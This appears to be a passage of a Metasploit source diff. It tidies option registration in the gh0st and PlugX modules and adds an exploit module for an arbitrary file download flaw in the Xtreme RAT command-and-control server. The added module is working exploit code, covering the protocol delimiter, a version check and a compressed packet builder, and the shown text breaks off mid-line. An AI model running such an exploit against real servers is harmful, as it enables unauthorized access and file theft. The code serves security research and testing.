diff --git a/modules/exploits/windows/misc/gh0st.rb b/modules/exploits/windows/misc/gh0st.rb index 94c82c3e78..1c5e29d52a 100644 --- a/modules/exploits/windows/misc/gh0st.rb +++ b/modules/exploits/windows/misc/gh0st.rb @@ -44,7 +44,7 @@ class MetasploitModule < Msf::Exploit::Remote [ OptString.new('MAGIC', [true, 'the 5 char magic used by the server', 'Gh0st']), Opt::RPORT(80) - ], self.class + ] ) end diff --git a/modules/exploits/windows/misc/plugx.rb b/modules/exploits/windows/misc/plugx.rb index 8438e90a09..c21c7c93e8 100644 --- a/modules/exploits/windows/misc/plugx.rb +++ b/modules/exploits/windows/misc/plugx.rb @@ -46,7 +46,7 @@ class MetasploitModule < Msf::Exploit::Remote register_options( [ Opt::RPORT(13579) - ], self.class + ] ) end diff --git a/modules/exploits/windows/misc/xtreme.rb b/modules/exploits/windows/misc/xtreme.rb new file mode 100644 index 0000000000..edae9318a0 --- /dev/null +++ b/modules/exploits/windows/misc/xtreme.rb @@ -0,0 +1,124 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'zlib' + +class MetasploitModule < Msf::Exploit::Remote + Rank = NormalRanking + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Report + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Xtreme Rat Controller Remote File Download Exploit', + 'Description' => %q{ + This module exploits an arbitrary file download vulnerability in the Xtreme C&C server + }, + 'Author' => 'Professor Plum', + 'License' => MSF_LICENSE, + 'References' => + [ + ], + 'Platform' => 'win', + 'DisclosureDate' => 'Jul 27 2017', + 'Targets' => + [ + ['Xtreme RAT 3.6', { 'Ver' => '3.6' }], + ['Xtreme RAT 3.7', { 'Ver' => '3.7' }] + ], + 'Privileged' => false, + 'DefaultTarget' => 1)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETFILE', [true, 'Target file to download', 'user.info']) + ] + ) + end + + @delm = "\xc2\x00\xaa\x00\xc2\x00\xaa\x00\xc2\x00\xaa\x00#\x00#\x00#\x00\xe2\x00\" a\x01\xe2\x00\" a\x01\xe2\x00\" a\x01".force_encoding('utf-16le') + @password = '' + @conid = '' + + def validate(b) + if b != "X\r\n" + print_status(b.inspect) + return false + end + true + end + + def check + connect + sock.put("myversion|#{target['Ver']}\r\n") + if validate(sock.recv(3)) + return Exploit::CheckCode::Appears + end + Exploit::CheckCode::Safe + end + + def make_string(cmd, msg) + pp = (cmd + @delm + msg) + pack = Zlib::Deflate.deflate(pp) + return @password + [pack.size, 0].pack('